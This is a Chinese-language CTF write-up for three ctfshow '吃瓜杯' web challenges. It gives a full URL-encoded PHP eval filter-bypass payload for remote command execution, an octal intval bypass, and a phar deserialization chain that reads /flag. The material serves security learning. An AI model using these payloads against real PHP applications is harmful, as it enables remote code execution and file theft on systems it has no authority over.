吃瓜杯
Shellme
- 题目环境:
直接一个phpinfo页面,在里面直接找flag就可以
shellme_Revenge
上一题的非预期环境被修复,看不到flag
- 看看
phpinfo
到底有什么
一般查看的是session相关文件存放路径,upload关键字眼,flag,cookie,allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag,一些敏感配置,_FILES[‘file1’],_SERVER[‘’]…..等
没有flag
之后看cookie
的时候,发现?looklook
找到cookie发现?looklook
\2. 尝试在url上拼接?looklook=1
- 显示出题目源码
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>
- 这里至允许通过C和0,1,2,3进行命令执行,仅仅通过这几个字符就不可能实现命令执行,这时候就想到了C自增
$_=C //$_是少数没有过滤的特殊字符,这里用作变量名
++$_= D
C/C.C=NANC
$_/$_.$_[0]=N //这样直接跳到了N
C/C.C[0]=N //和上面一样
++之后是D
因为对长度有限制,那么尝试构建最简单最强大的命令:$_GET[0]($_GET[1]);
$_=C;
E: ++$_;$C=++$_ //此时$C的值为E
G: ++$_;$C_=++$_ //此时$__的值为G
T: $_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_; //此时的$_的值为S,之后拼接的时候++;为了节省代码的长度
拼接_GET:
$_ = _.$C_.$C.++$_ //先++在拼接
最后的$_GET[0]($_GET[1]);命令:
${$_}{0}(${$_}{1});
所以最后完整的命令:
$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C){0};$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;${$_}{1}(${$_}{2});
POST==>x需要url编码
ctf_show = %24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B%24%7B%24_%7D%7B1%7D(%24%7B%24_%7D%7B2%7D);
1是函数,2是函数的参数
- 由于phpinfo可以看到禁用了很多函数,这里用passthru,最后直接RCE
找到flag的文件,之后打开
热身
- 题目环境
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
\2. 3道过滤
if($num==4476){
die("no no no!");
}
- 要求num的值是4476,
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
- 过滤了a-z的字母
if(!strpos($num, "0")){
die("no no no!!!");
}
- 0不能出现在第0位置,也就是首位置
Payoad:
?num=+010574 //intval第三个参数为0则根据数字的特性转换为十进制,0开头按照8进制转换,0x开头按照16进制转换
十进制的4476,转换为8进制的10574
ATTup
- 先随便上传一个ZIP文件,之后下载
文件存在,返回有效信息
\2. 确认可以查到后,点击确定,查看源代码
<?php
class View {
public $fn;
public function __invoke(){
$text = base64_encode(file_get_contents($this->fn));
echo "<script>alert('".$text."');self.location=document.referrer;</script>";
}
}
class Fun{
public $fun = ":)";
public function __toString(){
$fuc = $this->fun;
$fuc();
return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
}
public function __destruct()
{
echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
}
}
$filename = $_POST["file"];
$stat = @stat($filename);
显然是
phar
的反序列化,利用stat
函数将phar
文件的meta部分进行反序列化,利用phar://
读取文件,进而执行反序列化构造payload:
<?php
class View{
public $fn;
public function __invoke(){
$text = base64_encode(file_get_contents($this->fn));
echo "<script>alert('".$text."');self.location=document.referrer;</script>";
}
}
class Fun{
public $fun=':)';
public function __toString(){
$fuc = $this->fun;
$fuc();
return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
}
public function __destruct()
{
echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
}
}
$phar = new Phar('38.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?= __HALT_COMPILER(); ?>');
$b = new Fun(); //创建Fun对象,在析构的时候调用__tostring魔法函数
$b->fun= new Fun(); //调用析构函数的时候创建Fun类对象,第二部按照函数使用这个对象的时候什么函数都不会调用,最终先调用这个对象的析构函数
$b->fun->fun=new View(); //调用上一个对象的析构函数的时候会调用这个对象的__tostring函数,这一步就是在这时候吧第二个对象的fun属性创建为View对象
$b->fun->fun->fn='/flag'; //将View对象的fn函数设置为flag文件的路径,最终会通过函数使用调用者个对象的__invoke函数,之后读出这个文件(文件路径可以通过file:///flag查询文件,发现有返回信息从而获得文件路径)
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($b); //将要序列化的对象传进去,之后stat函数会对他进行反序列化
$phar -> stopBuffering();
注意phar文件的特性HALT_COMPLER?>必须存在,下面是序列化之后的内容
- 利用phar读取38.zip,并且抓包
phar://38.zip
读出flag文件的内容
base64解码:
解码地址:https://base64.us
base64解码